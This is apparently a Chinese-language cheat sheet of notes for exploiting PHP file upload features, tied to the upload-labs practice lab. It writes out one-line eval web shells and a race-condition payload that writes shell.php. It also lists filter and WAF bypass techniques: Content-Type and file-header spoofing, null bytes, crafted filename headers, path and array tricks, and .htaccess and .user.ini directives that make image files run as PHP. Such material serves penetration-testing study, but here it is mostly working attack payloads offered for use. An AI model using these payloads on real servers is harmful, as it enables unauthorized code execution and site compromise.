一、后门代码
1、一句话后门
<?php @eval($_get['cmd']); ?>
<?php @eval($_request['cmd']);?>
<script language="php">@eval($_post['cmd']);</script>
注意,在PHP中配置 short_open_tag=on 时,图片中不能含有 <? ,有会影响PHP代码的解析,导致图片马解析错误
2、其他后门代码
后门代码变形见:变形
注: assert() 函数在高版本好像不能直接用,详见:php手册
二次渲染生成图片马(如upload-labs16关)见:二次渲染
二、WAF绕过
1、允许的后缀名测试
使用 BurpSuite 中的 Intruder 爆破可行的后缀名,包括大小写等
字典见:字典
2、更改数据包内容
a、Content-Type
更改Content-Type为图片等,常见的见:MIME类型
b、文件头
更改文件头实现绕过,常用的文件头见:文件头
c、加入特殊字符
如:
空格
.
::$data
//注意,以下两个的区别为get方式会自动解码,而post不会,所以需要自己编码后再发送
%00
0x00
0x0a
注意,可以使用双写某些字符实现对单次过滤的绕过
d、更改保存路径
当可以更改保存名称时,可以更改保存名称为 WebShell.php/.
当通过数组截取后缀名来判断时,可以使用
save_name[0]=WebShell.php/
//具体索引由代码审计中来
save_name[2]=png
原理见upload-labs21
e、其他
其他中的方法来自小迪师傅,因脑洞太大此处不好描述,视频见:小迪安全
在数据包中增加垃圾数据,在数据包大小超过某一限制时,从而直接放行
在数据包文件名处更改filename="WebShell.php"的形式为:
filename="WebShell.php
filename="WebShell.php'
filename=WebShell.php
filename="xxx"WebShell.php
filename="x.jpg;.php"
filename="WebShell.
p
h
p
"
//先看以哪个为准,之后在为准的那个改为php后缀
filename="a.jpg";filename="b.jpg";filename="c.jpg"
部分:
3、上传某些配置文件
a、上传Apache下的 .htaccess 文件
上传 .htaccess 实现让PHP解析WebShell.png为php文件等操作
.htaccess 的内容我就不放了,百度即可(其实我试了半天愣是不行 /_ \ )
b、.user.ini
上传 .user.ini 文件,其中配置
//在前面插入WebShell.png
auto_prepend_file=WebShell.png
//在后面插入WebShell.png
auto_append_file=WebShell.png
实现对此目录下的PHP文件,插入到正常PHP文件中并以PHP解析WebShell.png
4、其他方法
a、条件竞争
适用于先上传再判断合规与否的情况
一个 Intruder 负责发包,使文件上传,另一个 Intruder 负责访问,负责访问PHP代码,使其执行将WebShell写到目录中
<?php fputs(fopen('shell.php','w'),'<?php phpinfo();?>');?>
b、常见中间件解析漏洞
Apache换行解析漏洞等,详见:PDF资料
c、文件包含漏洞
配合文件包含漏洞,解析图片马